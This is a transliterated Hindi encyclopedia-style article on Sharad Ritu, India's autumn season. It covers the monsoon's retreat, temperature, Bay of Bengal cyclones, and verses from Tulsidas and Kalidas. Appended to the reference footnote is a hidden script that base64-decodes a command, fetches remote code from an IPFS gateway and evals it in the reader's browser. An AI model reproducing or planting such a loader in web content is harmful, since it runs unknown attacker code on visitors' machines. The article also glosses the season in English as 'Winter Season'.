शरद ऋतु
sharad rritu
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| vivaran | sharad rritu bharat ki pramukh 4 rrituoan mean se ek rritu hai. varsha rritu ke pashchath jab manoosan pavanean lautati haian to desh ke uttari pashchimi bhag mean tapaman tezise kam hone lagata hai. |
| samay | ashvin-kartik (aktoobar-navambar) |
| mausam | is samay jalaplavit bhoomi tatha tivr tapaman ke karan vayu ki ardrata itani adhik badh jati hai ki logoan ko asahaniy umas ka samana karana p data hai. bharat mean yah sthiti ‘kvar ki umas’ athava ‘aktoobar ki garmi’ ke roop mean jani jati hai. |
| any janakari | is rritu mean lautate hue manasoon ke bangal ki kha di se gujarane ke karan usamean kuchh ardrata a jati hai aur jab ye pavanean tamilanadu tat se takarati haian to vahaan varsha kar deti haian. |
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sharad rritu (aangrezi: Winter Season) bharat ki pramukh 4 rrituoan mean se ek rritu hai. manasoon ke pichhe hatane ya usaka pratyavartan ho jane se asaman ekadam saf ho jata hai aur tapaman mean punah vriddhi hone lagati hai. is samay jalaplavit bhoomi tatha tivr tapaman ke karan vayu ki ardrata itani adhik badh jati hai ki logoan ko asahaniy umas ka samana karana p data hai. bharat mean yah sthiti ‘kvar ki umas’ athava ‘aktoobar ki garmi’ ke roop mean jani jati hai.
samay
samanyatah bharat mean 15 sitambar se 15 disambar tak sharad rritu payi jati hai, jo ki manasoon pavanoan ke pratyavartan ka bhi kal hota hai. varsha rritu ke pashchath jab manoosan pavanean lautati haian to desh ke uttari pashchimi bhag mean tapaman tezise kam hone lagata hai. ullekhaniy hai ki aktoobar ke ant ka varsha ki tivrata prayah kam ho jati hai aur dhire-dhire dakshini-pashchimi manasoon pichhe hatate hue madhy sitambar tak panjab, aktoobar ke ant tak ganga ke delta kshetr tatha navambar ke prarambh mean dakshini bharat ko bhi chho d deta hai.
tapaman
is sthiti ke pashchath uttari bharat mean tapaman tezise ghatata hai tatha disambar tak soory ke dakshinayan hone ke karan shit rritu ka agaman ho jata hai. is samay uttar ka nyoon vayudab kendr khisak kar bangal ki kha di ki or chala jata hai. yah asthirata punah bangal ki kha di mean chakravatoan ki utpatti ki lie uttadadayi hoti hai aur ye chakravat krishnaa, kaveri evan godavari nadi ke deltaee bhagoan mean tivrata se pravesh karake dhan-jan ko kafi hani pahuanchate haian. is rritu mean lautate hue manasoon ke bangal ki kha di se gujarane ke karan usamean kuchh ardrata a jati hai aur jab ye pavanean tamilanadu tat se takarati haian to vahaan varsha kar deti haian.
sahityik ullekh
tulasidasaji ne ramacharitamanas mean sharad rritu ka gunagan karate hue likha hai-
barasha bigat sarad rritu aee. lachhiman dekhahu param suhaee॥
phoolean kas sakal mahi chhaee. janu barashaan krit pragat budhaee॥
arthat he lakshman! dekho varsha bit gee aur param suandar sharad rritu a gee. phoole hue kas se sari prithvi chha gee. mano varsha rritu ne kas roopi saphed baloan ke roop mean apana vridghapakal prakat kiya hai. vridgha varsha ki ot mean ati sharad nayika ne tulasidas ke sath kavi kul guru kalidas ko bhi isi ada mean baandha tha. rritu sanharam ke anusar 'lo a gee yah nav vadhoo-si shobhati, sharad nayika! kas ke saphed pushpoan se dhanki is shvet vastra ka mukh kamal pushpoan se hi nirmit hai aur mast rajahansi ki madhur avaj hi isaki nupoor dhvani hai. paki baliyoan se nat, dhan ke paudhoan ki tarah tarangayit isaki tan-yashti kisaka man nahian mohati.
jani sarad rritu khanjan ae.
pai samay jimi sukrit suhae॥
arthat sharad rritu janakar khanjan pakshi a ge. jaise samay pakar suandar sukrit a jate haian arthat puny prakat ho jate haian. basant ke apane jhoomate-mahakate suman, ithalati-khilati kaliyaan ho sakati haian. gandhavahi mand bayar, bhauanroan ki guanjarit-ullasit panktiyaan ho sakati haian, par sharad ka nil dhaval, sphatik-sa akash, amritavarshini chaandani aur kamal-kumudiniyoan bhare tal-t dag usake pas kahaan? sanpoorn dharati ko shvet chadar mean dhankane ko akul ye kas-javas ke saphed-saphed oordhvamukhi phool to sharad sanpada hai. pavas meghoan ke athak prayasoan se dhule saph asaman mean virahata chaand aur usase phootati, dharati ki or bhagati nirbadh, nishkalank chaandani sharad ke hi ekadhikar haian. sharad mean vrishti tham jati hai. mausam suhavana ho jata haian. din samany to ratri mean thandak rahati hai. sharad ko manohari aur svasth rritu manate haian. prayah ashvin mas mean sharad poornima ke asapas sharad rritu ka sauandary dikhaee deta hai.[1]
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tika tippani aur sandarbh
- ↑ sharad rritu (hiandi) anush (bl aaug). abhigaman tithi: 26 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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